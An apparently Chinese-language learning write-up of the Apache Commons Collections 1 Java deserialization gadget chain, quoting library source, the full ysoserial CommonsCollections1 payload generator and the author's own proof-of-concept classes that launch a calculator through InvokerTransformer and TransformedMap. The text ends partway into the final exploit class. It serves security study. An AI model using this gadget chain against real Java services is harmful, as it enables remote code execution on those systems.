Apache_Commons_Collections1分析

对一个java 反序列化利用的重要的因素

需要在入口类实现反序列化类并且实现了 readObject 函数 才有可能出现反序列化漏洞

利用过程

1
2
3
4
5
6
AnnotationInvocationHandler.readObject()
AbstractInputCheckedMapDecorator$MapEntry.setValue()
TransformedMap.checkSetValue()
ChainedTransformer.transform()
InvokerTransformer.transform()
Method.invoke("Runtime.exec()","calc")

整个链子的寻找方法

Transformer

Transformer 是一个接口类,主要是提供了一个transform 方法

the input object (leaving it unchanged) into some output object.

输入一个对象然后将其不变的输出到一个对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.commons.collections;

/**
* Defines a functor interface implemented by classes that transform one
* object into another.
* <p>
* A <code>Transformer</code> converts the input object to the output object.
* The input object should be left unchanged.
* Transformers are typically used for type conversions, or extracting data
* from an object.
* <p>
* Standard implementations of common transformers are provided by
* {@link TransformerUtils}. These include method invokation, returning a constant,
* cloning and returning the string value.
*
* @since Commons Collections 1.0
* @version $Revision: 646777 $ $Date: 2008-04-10 13:33:15 +0100 (Thu, 10 Apr 2008) $
*
* @author James Strachan
* @author Stephen Colebourne
*/
public interface Transformer {

/**
* Transforms the input object (leaving it unchanged) into some output object.
*
* @param input the object to be transformed, should be left unchanged
* @return a transformed object
* @throws ClassCastException (runtime) if the input is the wrong class
* @throws IllegalArgumentException (runtime) if the input is invalid
* @throws FunctorException (runtime) if the transform cannot be completed
*/
public Object transform(Object input);

}

ConstantTransformer

ConstantTransformer类是Transformer接口其中的一个实现类,ConstantTransformer类重写了transformer方法,源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.commons.collections.functors;

import java.io.Serializable;

import org.apache.commons.collections.Transformer;

/**
* Transformer implementation that returns the same constant each time.
* <p>
* No check is made that the object is immutable. In general, only immutable
* objects should use the constant factory. Mutable objects should
* use the prototype factory.
*
* @since Commons Collections 3.0
* @version $Revision: 646777 $ $Date: 2008-04-10 13:33:15 +0100 (Thu, 10 Apr 2008) $
*
* @author Stephen Colebourne
*/
public class ConstantTransformer implements Transformer, Serializable {

/** Serial version UID */
private static final long serialVersionUID = 6374440726369055124L;

/** Returns null each time */
public static final Transformer NULL_INSTANCE = new ConstantTransformer(null);

/** The closures to call in turn */
private final Object iConstant;

/**
* Transformer method that performs validation.
*
* @param constantToReturn the constant object to return each time in the factory
* @return the <code>constant</code> factory.
*/
public static Transformer getInstance(Object constantToReturn) {
if (constantToReturn == null) {
return NULL_INSTANCE;
}
return new ConstantTransformer(constantToReturn);
}

/**
* Constructor that performs no validation.
* Use <code>getInstance</code> if you want that.
*
* @param constantToReturn the constant to return each time
*/
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}

/**
* Transforms the input by ignoring it and returning the stored constant instead.
*
* @param input the input object which is ignored
* @return the stored constant
*/
public Object transform(Object input) {
return iConstant;
}

/**
* Gets the constant.
*
* @return the constant
* @since Commons Collections 3.1
*/
public Object getConstant() {
return iConstant;
}

}

就是传入的类,直接返回出去

1
2
3
4
5
6
7
8
9
10
11
12
package org.cclearn;

import org.apache.commons.collections.functors.ConstantTransformer;

public class cc1Test {
public static void main(String[] args) {
Object obj1=Runtime.class;
ConstantTransformer ct = new ConstantTransformer(obj1);
System.out.println(ct.transform(obj1));
}
}

image-20250529112003719

InvokerTransformer

Collections组件中提供了一个非常重要的类: org.apache.commons.collections.functors.InvokerTransformer,这个类实现了java.io.Serializable接口。2015年有研究者发现利用InvokerTransformer类的transform方法可以实现Java反序列化RCE,并提供了利用方法:CommonsCollections1.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
package ysoserial.payloads;

import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

Requires:
commons-collections
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.FROHOFF })
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {

public InvocationHandler getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };

final Map innerMap = new HashMap();

final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

return handler;
}

public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections1.class, args);
}

public static boolean isApplicableJavaVersion() {
return JavaVersion.isAnnInvHUniversalMethodImpl();
}
}

InvokerTransformertransform方法实现了类方法动态调用,即采用反射机制动态调用类方法(反射方法名、参数值均可控)并返回该方法执行结果。

InvokerTransformer 代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.commons.collections.functors;

import java.io.Serializable;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

import org.apache.commons.collections.FunctorException;
import org.apache.commons.collections.Transformer;

/**
* Transformer implementation that creates a new object instance by reflection.
*
* @since Commons Collections 3.0
* @version $Revision: 646777 $ $Date: 2008-04-10 13:33:15 +0100 (Thu, 10 Apr 2008) $
*
* @author Stephen Colebourne
*/
public class InvokerTransformer implements Transformer, Serializable {

/** The serial version */
private static final long serialVersionUID = -8653385846894047688L;

/** The method name to call */
private final String iMethodName;
/** The array of reflection parameter types */
private final Class[] iParamTypes;
/** The array of reflection arguments */
private final Object[] iArgs;

/**
* Gets an instance of this transformer calling a specific method with no arguments.
*
* @param methodName the method name to call
* @return an invoker transformer
* @since Commons Collections 3.1
*/
public static Transformer getInstance(String methodName) {
if (methodName == null) {
throw new IllegalArgumentException("The method to invoke must not be null");
}
return new InvokerTransformer(methodName);
}

/**
* Gets an instance of this transformer calling a specific method with specific values.
*
* @param methodName the method name to call
* @param paramTypes the parameter types of the method
* @param args the arguments to pass to the method
* @return an invoker transformer
*/
public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {
if (methodName == null) {
throw new IllegalArgumentException("The method to invoke must not be null");
}
if (((paramTypes == null) && (args != null))
|| ((paramTypes != null) && (args == null))
|| ((paramTypes != null) && (args != null) && (paramTypes.length != args.length))) {
throw new IllegalArgumentException("The parameter types must match the arguments");
}
if (paramTypes == null || paramTypes.length == 0) {
return new InvokerTransformer(methodName);
} else {
paramTypes = (Class[]) paramTypes.clone();
args = (Object[]) args.clone();
return new InvokerTransformer(methodName, paramTypes, args);
}
}

/**
* Constructor for no arg instance.
*
* @param methodName the method to call
*/
private InvokerTransformer(String methodName) {
super();
iMethodName = methodName;
iParamTypes = null;
iArgs = null;
}

/**
* Constructor that performs no validation.
* Use <code>getInstance</code> if you want that.
*
* @param methodName the method to call
* @param paramTypes the constructor parameter types, not cloned
* @param args the constructor arguments, not cloned
*/
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}

/**
* Transforms the input to result by invoking a method on the input.
*
* @param input the input object to transform
* @return the transformed result, null if null input
*/
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}

}

构造利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package org.cclearn;

import javafx.scene.transform.Scale;
import org.apache.commons.collections.functors.InvokerTransformer;

public class InvokerTransformerTest {
public static void main(String[] args) {
String cmd="open -a Calculator.app";
InvokerTransformer invokerTransformer=new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{cmd}
);
invokerTransformer.transform(Runtime.getRuntime());
}
}

ChainedTransformer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.commons.collections.functors;

import java.io.Serializable;
import java.util.Collection;
import java.util.Iterator;

import org.apache.commons.collections.Transformer;

/**
* Transformer implementation that chains the specified transformers together.
* <p>
* The input object is passed to the first transformer. The transformed result
* is passed to the second transformer and so on.
*
* @since Commons Collections 3.0
* @version $Revision: 646777 $ $Date: 2008-04-10 13:33:15 +0100 (Thu, 10 Apr 2008) $
*
* @author Stephen Colebourne
*/
public class ChainedTransformer implements Transformer, Serializable {

/** Serial version UID */
private static final long serialVersionUID = 3514945074733160196L;

/** The transformers to call in turn */
private final Transformer[] iTransformers;

/**
* Factory method that performs validation and copies the parameter array.
*
* @param transformers the transformers to chain, copied, no nulls
* @return the <code>chained</code> transformer
* @throws IllegalArgumentException if the transformers array is null
* @throws IllegalArgumentException if any transformer in the array is null
*/
public static Transformer getInstance(Transformer[] transformers) {
FunctorUtils.validate(transformers);
if (transformers.length == 0) {
return NOPTransformer.INSTANCE;
}
transformers = FunctorUtils.copy(transformers);
return new ChainedTransformer(transformers);
}

/**
* Create a new Transformer that calls each transformer in turn, passing the
* result into the next transformer. The ordering is that of the iterator()
* method on the collection.
*
* @param transformers a collection of transformers to chain
* @return the <code>chained</code> transformer
* @throws IllegalArgumentException if the transformers collection is null
* @throws IllegalArgumentException if any transformer in the collection is null
*/
public static Transformer getInstance(Collection transformers) {
if (transformers == null) {
throw new IllegalArgumentException("Transformer collection must not be null");
}
if (transformers.size() == 0) {
return NOPTransformer.INSTANCE;
}
// convert to array like this to guarantee iterator() ordering
Transformer[] cmds = new Transformer[transformers.size()];
int i = 0;
for (Iterator it = transformers.iterator(); it.hasNext();) {
cmds[i++] = (Transformer) it.next();
}
FunctorUtils.validate(cmds);
return new ChainedTransformer(cmds);
}

/**
* Factory method that performs validation.
*
* @param transformer1 the first transformer, not null
* @param transformer2 the second transformer, not null
* @return the <code>chained</code> transformer
* @throws IllegalArgumentException if either transformer is null
*/
public static Transformer getInstance(Transformer transformer1, Transformer transformer2) {
if (transformer1 == null || transformer2 == null) {
throw new IllegalArgumentException("Transformers must not be null");
}
Transformer[] transformers = new Transformer[] { transformer1, transformer2 };
return new ChainedTransformer(transformers);
}

/**
* Constructor that performs no validation.
* Use <code>getInstance</code> if you want that.
*
* @param transformers the transformers to chain, not copied, no nulls
*/
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}

/**
* Transforms the input to result via each decorated transformer
*
* @param object the input object passed to the first transformer
* @return the transformed result
*/
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

/**
* Gets the transformers, do not modify the array.
* @return the transformers
* @since Commons Collections 3.1
*/
public Transformer[] getTransformers() {
return iTransformers;
}

}

利用代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package org.cclearn;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class ChainedTransformerTest {
public static void main(String[] args) {
String cmd="open -a Calculator.app"; // 执行的命令
// 执行命令的流程Runtime.getRuntime().exec()
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // ConstantTransformer 传入什么传出什么,需要一个Runtime作为开始
new InvokerTransformer("getMethod", // 获取Runtime对象
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", // 为什么是invoke ? : 因为getMethod()返回的是Method对象,而Method对象有invoke()方法
new Class[]{Object.class,Object[].class},
new Object[]{null,null}),
new InvokerTransformer("exec", // 执行命令
new Class[]{String.class},
new Object[]{cmd})
};
ChainedTransformer ct=new ChainedTransformer(transformers); // 创建一个ChainedTransformer对象
ct.transform(null); // 调用transform方法会逐个执行transformer数组中的方法

}
}

利用InvokerTransformer执行本地命令

上面两个Demo为我们演示了如何使用InvokerTransformer执行本地命令,现在我们也就还只剩下两个问题:

  1. 如何传入恶意的ChainedTransformer
  2. 如何调用transform方法执行本地命令;

现在我们已经使用InvokerTransformer创建了一个含有恶意调用链的Transformer类的Map对象,紧接着我们应该思考如何才能够将调用链串起来并执行。

TransformedMap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.commons.collections.map;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.util.Iterator;
import java.util.Map;

import org.apache.commons.collections.Transformer;

/**
* Decorates another <code>Map</code> to transform objects that are added.
* <p>
* The Map put methods and Map.Entry setValue method are affected by this class.
* Thus objects must be removed or searched for using their transformed form.
* For example, if the transformation converts Strings to Integers, you must
* use the Integer form to remove objects.
* <p>
* <strong>Note that TransformedMap is not synchronized and is not thread-safe.</strong>
* If you wish to use this map from multiple threads concurrently, you must use
* appropriate synchronization. The simplest approach is to wrap this map
* using {@link java.util.Collections#synchronizedMap(Map)}. This class may throw
* exceptions when accessed by concurrent threads without synchronization.
* <p>
* This class is Serializable from Commons Collections 3.1.
*
* @since Commons Collections 3.0
* @version $Revision: 646777 $ $Date: 2008-04-10 13:33:15 +0100 (Thu, 10 Apr 2008) $
*
* @author Stephen Colebourne
*/
public class TransformedMap
extends AbstractInputCheckedMapDecorator
implements Serializable {

/** Serialization version */
private static final long serialVersionUID = 7023152376788900464L;

/** The transformer to use for the key */
protected final Transformer keyTransformer;
/** The transformer to use for the value */
protected final Transformer valueTransformer;

/**
* Factory method to create a transforming map.
* <p>
* If there are any elements already in the map being decorated, they
* are NOT transformed.
* Constrast this with {@link #decorateTransform}.
*
* @param map the map to decorate, must not be null
* @param keyTransformer the transformer to use for key conversion, null means no transformation
* @param valueTransformer the transformer to use for value conversion, null means no transformation
* @throws IllegalArgumentException if map is null
*/
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

/**
* Factory method to create a transforming map that will transform
* existing contents of the specified map.
* <p>
* If there are any elements already in the map being decorated, they
* will be transformed by this method.
* Constrast this with {@link #decorate}.
*
* @param map the map to decorate, must not be null
* @param keyTransformer the transformer to use for key conversion, null means no transformation
* @param valueTransformer the transformer to use for value conversion, null means no transformation
* @throws IllegalArgumentException if map is null
* @since Commons Collections 3.2
*/
public static Map decorateTransform(Map map, Transformer keyTransformer, Transformer valueTransformer) {
TransformedMap decorated = new TransformedMap(map, keyTransformer, valueTransformer);
if (map.size() > 0) {
Map transformed = decorated.transformMap(map);
decorated.clear();
decorated.getMap().putAll(transformed); // avoids double transformation
}
return decorated;
}

//-----------------------------------------------------------------------
/**
* Constructor that wraps (not copies).
* <p>
* If there are any elements already in the collection being decorated, they
* are NOT transformed.
*
* @param map the map to decorate, must not be null
* @param keyTransformer the transformer to use for key conversion, null means no conversion
* @param valueTransformer the transformer to use for value conversion, null means no conversion
* @throws IllegalArgumentException if map is null
*/
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

//-----------------------------------------------------------------------
/**
* Write the map out using a custom routine.
*
* @param out the output stream
* @throws IOException
* @since Commons Collections 3.1
*/
private void writeObject(ObjectOutputStream out) throws IOException {
out.defaultWriteObject();
out.writeObject(map);
}

/**
* Read the map in using a custom routine.
*
* @param in the input stream
* @throws IOException
* @throws ClassNotFoundException
* @since Commons Collections 3.1
*/
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
map = (Map) in.readObject();
}

//-----------------------------------------------------------------------
/**
* Transforms a key.
* <p>
* The transformer itself may throw an exception if necessary.
*
* @param object the object to transform
* @throws the transformed object
*/
protected Object transformKey(Object object) {
if (keyTransformer == null) {
return object;
}
return keyTransformer.transform(object);
}

/**
* Transforms a value.
* <p>
* The transformer itself may throw an exception if necessary.
*
* @param object the object to transform
* @throws the transformed object
*/
protected Object transformValue(Object object) {
if (valueTransformer == null) {
return object;
}
return valueTransformer.transform(object);
}

/**
* Transforms a map.
* <p>
* The transformer itself may throw an exception if necessary.
*
* @param map the map to transform
* @throws the transformed object
*/
protected Map transformMap(Map map) {
if (map.isEmpty()) {
return map;
}
Map result = new LinkedMap(map.size());
for (Iterator it = map.entrySet().iterator(); it.hasNext(); ) {
Map.Entry entry = (Map.Entry) it.next();
result.put(transformKey(entry.getKey()), transformValue(entry.getValue()));
}
return result;
}

/**
* Override to transform the value when using <code>setValue</code>.
*
* @param value the value to transform
* @return the transformed value
* @since Commons Collections 3.1
*/
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}

/**
* Override to only return true when there is a value transformer.
*
* @return true if a value transformer is in use
* @since Commons Collections 3.1
*/
protected boolean isSetValueChecking() {
return (valueTransformer != null);
}

//-----------------------------------------------------------------------
public Object put(Object key, Object value) {
key = transformKey(key);
value = transformValue(value);
return getMap().put(key, value);
}

public void putAll(Map mapToCopy) {
mapToCopy = transformMap(mapToCopy);
getMap().putAll(mapToCopy);
}

}

org.apache.commons.collections.map.TransformedMap类间接的实现了java.util.Map接口,同时支持对Mapkey或者value进行Transformer转换,调用decoratedecorateTransform方法就可以创建一个TransformedMap:

之后我们就考虑如何调用transform。可以发现在这个当中,很多地方是protected 的函数,只能内部调用或者是继承调用。因此我们需要找到一个protected 的函数,然后上层函数是public 的函数。

然后再在代码中寻找transform 方法,再构造调用了这个方法的key 或者value 就行,请看下面的演示

image-20250529122225712

我先找到了.transform 有5个,除了有一个是import 之外其他的都是可以调用的,依次展示

image-20250529122333500

这个明显就不是

transformKey

image-20250529122407522

往上找

image-20250531154521953

image-20250529122430750

image-20250529122439345

然后再往上找 使用transformKey 中的举例,发现

image-20250529124509284

最终发现

只要调用TransformedMapsetValue/put/putAll中的任意方法都会调用InvokerTransformer类的transform方法,从而也就会触发命令执行。

尝试构造恶意代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
package org.cclearn;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class TransformedMapSetValue {
// 使用InvokerTransformer 创建一个恶意调用链
public static void main(String[] args) {
String cmd="open -a Calculator.app";
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{cmd});

Map< Object, Object> map = new HashMap<>();
map.put("key", "value");
Map< Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
for (Map.Entry<Object,Object> entry : transformedMap.entrySet()){
entry.setValue(Runtime.getRuntime());
}
}



// 使用 ChainedTransformer 创建一个恶意调用链
// public static void main(String[] args) {
// String cmd="open -a Calculator.app";
// Transformer[] transformers = new Transformer[]{
// new ConstantTransformer(Runtime.class),
// new InvokerTransformer(
// "getMethod",
// new Class[]{String.class, Class[].class},
// new Object[]{"getRuntime", new Class[0]}),
// new InvokerTransformer(
// "invoke",
// new Class[]{Object.class, Object[].class},
// new Object[]{null, new Object[0]}),
// new InvokerTransformer(
// "exec",
// new Class[]{String.class},
// new Object[]{cmd}
// )
// };
// Transformer transformerChain = new ChainedTransformer(transformers);
//
// // 创建一个Map对象
//// Map map = new HashMap();
// HashMap<Object, Object> map = new HashMap<>();
// map.put("key", "value");
//
// // 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象
// Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, transformerChain);
// for (Object o : transformedMap.entrySet()) {
// Map.Entry entry = (Map.Entry) o;
// entry.setValue("value");
// }
// System.out.println(transformedMap);
// }
}

特别要注意,需要将transformedMap 中的通过 Map.Entry 取出

总结

上述代码向我们展示了只要在Java的API中的任何一个类只要符合以下条件,我们就可以在Java反序列化的时候触发InvokerTransformer类的transform方法实现RCE

  1. 实现了java.io.Serializable接口;
  2. 并且可以传入我们构建的TransformedMap对象;
  3. 调用了TransformedMap中的setValue/put/putAll中的任意方法一个方法的类;

AnnotationInvocationHandler

就是存在上述的利用条件

sun.reflect.annotation.AnnotationInvocationHandler类实现了java.lang.reflect.InvocationHandler(Java动态代理)接口和java.io.Serializable接口,它还重写了readObject方法,在readObject方法中还间接的调用了TransformedMapMapEntrysetValue方法,从而也就触发了transform方法,完成了整个攻击链的调用。

总结一下

  1. 需要实现序列化和反序列化的接口
  2. 在readobject 中需要调用setValue/put/putAll 其中一个

因为上面两个条件

在readobject 函数中可以发现调用了setValue

image-20250602233027274

因此只需要想办法构造这个类,然后进行反序列化就行了

image-20250602233219340

但是该类的构造函数是private 的,所以无法被正常的实例化。

因此可以使用反射进行实例化

反射创建

然后看这个构造函数的参数。

第一个是一个注解的类

第二个是map 的class。需要传入一个增强过的map,才能调用到恶意的setValue。

查看map 需不需要什么特别的条件

直接从readobject 代码中看,因为有两个if

外层的if

image-20250602234312830

来自于

image-20250602234941136

annotationType 是一个

image-20250602235127206

这个type 是我们传入的target.class

image-20250602235235730

本质上就是说,通过我们调用的注解对象获得了一个memberTypes。

然后可以看看这个memberTypes 里面有啥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package org.cclearn;

import sun.reflect.annotation.AnnotationType;

import java.lang.annotation.Target;
import java.util.Map;

public class test {
public static void main(String[] args) {
AnnotationType annotationType = AnnotationType.getInstance(Target.class);
Map<String, Class<?>> classMap = annotationType.memberTypes();
for (Object s : classMap.entrySet()) {
System.out.println(s);
}
}
}

image-20250602235533465

有一个value 键

image-20250602235659771

因此传入的map 中应该有一个key=”value” 的键值对

内层if

image-20250602234321606

只要能被创建就行

因此外部的参数

在这一步随便给就行。

总结

综上,我们需要构造的参数如下

image-20250603000121154

最后需要反序列话调用

构造transform

由于在if 中,最后发现setvalue 的值是不可控的,因此只会调用一次setvalue 中的transform

所以只需要构造一个链式的,就可以完成调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package org.cclearn;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class cc1Learn {
public static void main(String[] args) throws Exception {
String cmd="open -a Calculator.app"; // 执行的命令
// 执行命令的流程Runtime.getRuntime().exec()
